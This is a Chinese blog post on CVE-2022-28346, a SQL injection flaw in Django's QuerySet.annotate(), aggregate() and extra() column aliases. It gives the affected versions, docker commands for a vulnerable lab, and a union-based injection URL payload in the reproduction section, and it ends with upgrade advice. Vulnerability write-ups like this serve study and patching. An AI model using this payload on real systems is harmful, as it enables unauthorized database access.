当前位置:网站首页>CVE-2022-28346:Django SQL注入漏洞
CVE-2022-28346:Django SQL注入漏洞
2022-07-07 22:52:00 【yggcwhat】
0x01 简介
Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。
0x02 漏洞概述
漏洞编号:CVE-2022-28346
攻击者使用精心编制的字典, 通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击。
0x03 影响版本
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
0x04 环境搭建
docker pull s0cke3t/cve-2022-28346:latestdocker run -d -p 8080:8000 s0cke3t/cve-2022-28346
0x05 漏洞复现
通过报错页面可以发现存在哪些接口

访问接口如果存在传参,同样会提示报错信息

使用报错提示的参数进行sql注入
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

0x06 修复方式
官方已发布安全版本,下载地址:
https://www.djangoproject.com/download/
边栏推荐
- How does starfish OS enable the value of SFO in the fourth phase of SFO destruction?
- 1293_FreeRTOS中xTaskResumeAll()接口的实现分析
- Sqlite数据库存储目录结构邻接表的实现2-目录树的构建
- 丸子官网小程序配置教程来了(附详细步骤)
- Introduction to paddle - using lenet to realize image classification method I in MNIST
- Hotel
- How to learn a new technology (programming language)
- Usage of limit and offset (Reprint)
- 【愚公系列】2022年7月 Go教学课程 006-自动推导类型和输入输出
- A brief history of information by James Gleick
猜你喜欢

应用实践 | 数仓体系效率全面提升!同程数科基于 Apache Doris 的数据仓库建设

After going to ByteDance, I learned that there are so many test engineers with an annual salary of 40W?

赞!idea 如何单窗口打开多个项目?

他们齐聚 2022 ECUG Con,只为「中国技术力量」

What has happened from server to cloud hosting?

SQL knowledge summary 004: Postgres terminal command summary

搭建ADG过程中复制报错 RMAN-03009 ORA-03113

测试流程不完善,又遇到不积极的开发怎么办?

DNS series (I): why does the updated DNS record not take effect?

深潜Kotlin协程(二十二):Flow的处理
随机推荐
Deep dive kotlin synergy (XXII): flow treatment
QT adds resource files, adds icons for qaction, establishes signal slot functions, and implements
LeetCode刷题
new和delete的底层原理以及模板
1293_ Implementation analysis of xtask resumeall() interface in FreeRTOS
备库一直有延迟,查看mrp为wait_for_log,重启mrp后为apply_log但过一会又wait_for_log
51 communicates with the Bluetooth module, and 51 drives the Bluetooth app to light up
从Starfish OS持续对SFO的通缩消耗,长远看SFO的价值
从服务器到云托管,到底经历了什么?
"An excellent programmer is worth five ordinary programmers", and the gap lies in these seven key points
德总理称乌不会获得“北约式”安全保障
Handwriting a simulated reentrantlock
How to measure whether the product is "just needed, high frequency, pain points"
Smart regulation enters the market, where will meituan and other Internet service platforms go
The difference between get and post
某马旅游网站开发(对servlet的优化)
哪个券商公司开户佣金低又安全,又靠谱
去了字节跳动,才知道年薪 40w 的测试工程师有这么多?
C# 泛型及性能比较
Linkedblockingqueue source code analysis - add and delete